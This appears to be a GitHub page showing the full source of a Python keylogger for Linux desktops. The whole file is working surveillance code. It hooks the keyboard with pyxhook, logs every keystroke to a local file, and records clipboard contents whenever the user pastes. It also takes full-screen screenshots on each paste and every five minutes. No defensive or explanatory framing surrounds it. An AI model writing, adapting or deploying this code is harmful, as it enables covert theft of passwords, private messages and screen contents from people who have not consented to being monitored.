-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger.py
148 lines (116 loc) · 4.16 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import os
import time
import atexit
import threading
import pyxhook
import gi
gi.require_version('Gtk', '3.0')
gi.require_version('Gdk', '3.0')
from gi.repository import Gtk, Gdk
# Path to the log file
log_file = 'log.txt'
log_fh = open(log_file, 'a')
# Clipboard
cb = Gtk.Clipboard.get(Gdk.SELECTION_CLIPBOARD)
# Path to the directory for screenshots
os.makedirs("screenshots", exist_ok=True)
win = Gdk.get_default_root_window()
h = win.get_height()
w = win.get_width()
# State of the Ctrl key, req. for detecting paste operation
ctrl_set = 0
special_keys = ['Shift_L', 'Shift_R', 'Control_L', 'Control_R',
'Alt_L', 'Alt_R', 'Super_L', 'Super_R',
'Escape', 'Tab', 'Caps_Lock', 'Insert', 'Delete',
'Print', 'Up', 'Down', 'Left', 'Right',
'F1', 'F2', 'F3', 'F4',
'F5', 'F6', 'F7', 'F8',
'F9', 'F10', 'F11', 'F12']
symbols = {'grave': '`', 'asciitilde': '~', 'exclam': '!', 'at': '@', 'numbersign': '#',
'dollar': '$', 'percent': '%', 'asciicircum': '^', 'ampersand': '&', 'asterisk': '*',
'parenleft': '(', 'parenright': ')', 'minus': '-', 'equal': '=', 'underscore': '_',
'plus': '+', 'bracketleft': '[', 'bracketright': ']', 'braceleft': '{', 'braceright': '}',
'backslash': '\\', 'bar': '|', 'semicolon': ';', 'colon': ':', 'apostrophe': "'",
'quotedbl': '"', 'comma': ',', 'period': '.', 'less': '<', 'greater': '>',
'slash': '/', 'question': '?'}
# On exit tasks
def exit_handler():
log_fh.close()
atexit.register(exit_handler)
def on_keyboard_event(event):
global ctrl_set
try:
# Enter key
if event.Key == 'Return':
log_fh.write("\n")
elif event.Key == 'space':
log_fh.write(" ")
elif event.Key == 'BackSpace':
log_fh.write("<-")
elif event.Key == 'v' or event.Key == 'V':
content = cb.wait_for_text()
# Paste operation
if ctrl_set == 1:
# Take a screenshot
pb = Gdk.pixbuf_get_from_window(win, 0, 0, w, h)
if pb is not None:
pb.savev("screenshots/ss{}.png".format(get_ss_count()), "png", (), ())
# Log clipboard content
log_fh.write("Paste: " + str(content))
else:
log_fh.write(event.Key)
# To differentiate the special key presses from normal text
elif event.Key in special_keys:
log_fh.write("<" + event.Key + ">")
if event.Key.startswith('Control'):
# Set ctrl_set = 1 and exit the function
raise ValueError
# Write the actual symbols instead of names
elif event.Key in symbols:
log_fh.write(symbols.get(event.Key))
else:
log_fh.write(event.Key)
ctrl_set = 0
except ValueError:
ctrl_set = 1
def get_ss_count():
# Create file if not exists
try:
fh = open("screenshots/ss_count.txt", "x")
fh.write("1")
fh.close()
return 0
except FileExistsError:
# Read count
fh = open("screenshots/ss_count.txt", "r")
count = fh.readline()
fh.close()
try:
count = int(count.strip())
# If count value gets corrupted, set to 1
except ValueError:
fh = open("screenshots/ss_count.txt", "w")
fh.write("1")
fh.close()
return 0
# Write count + 1
fh = open("screenshots/ss_count.txt", "w")
fh.write("{}".format(count + 1))
fh.close()
return count
# Screenshot after a fixed time interval
def ss_at_intervals():
while True:
pb = Gdk.pixbuf_get_from_window(win, 0, 0, w, h)
if pb is not None:
pb.savev("screenshots/ss{}.png".format(get_ss_count()), "png", (), ())
time.sleep(300) # Five minutes
def main():
hook_man = pyxhook.HookManager()
hook_man.KeyDown = on_keyboard_event
hook_man.HookKeyboard()
hook_man.start()
ss_handler = threading.Thread(target=ss_at_intervals)
ss_handler.start()
if __name__ == "__main__":
main()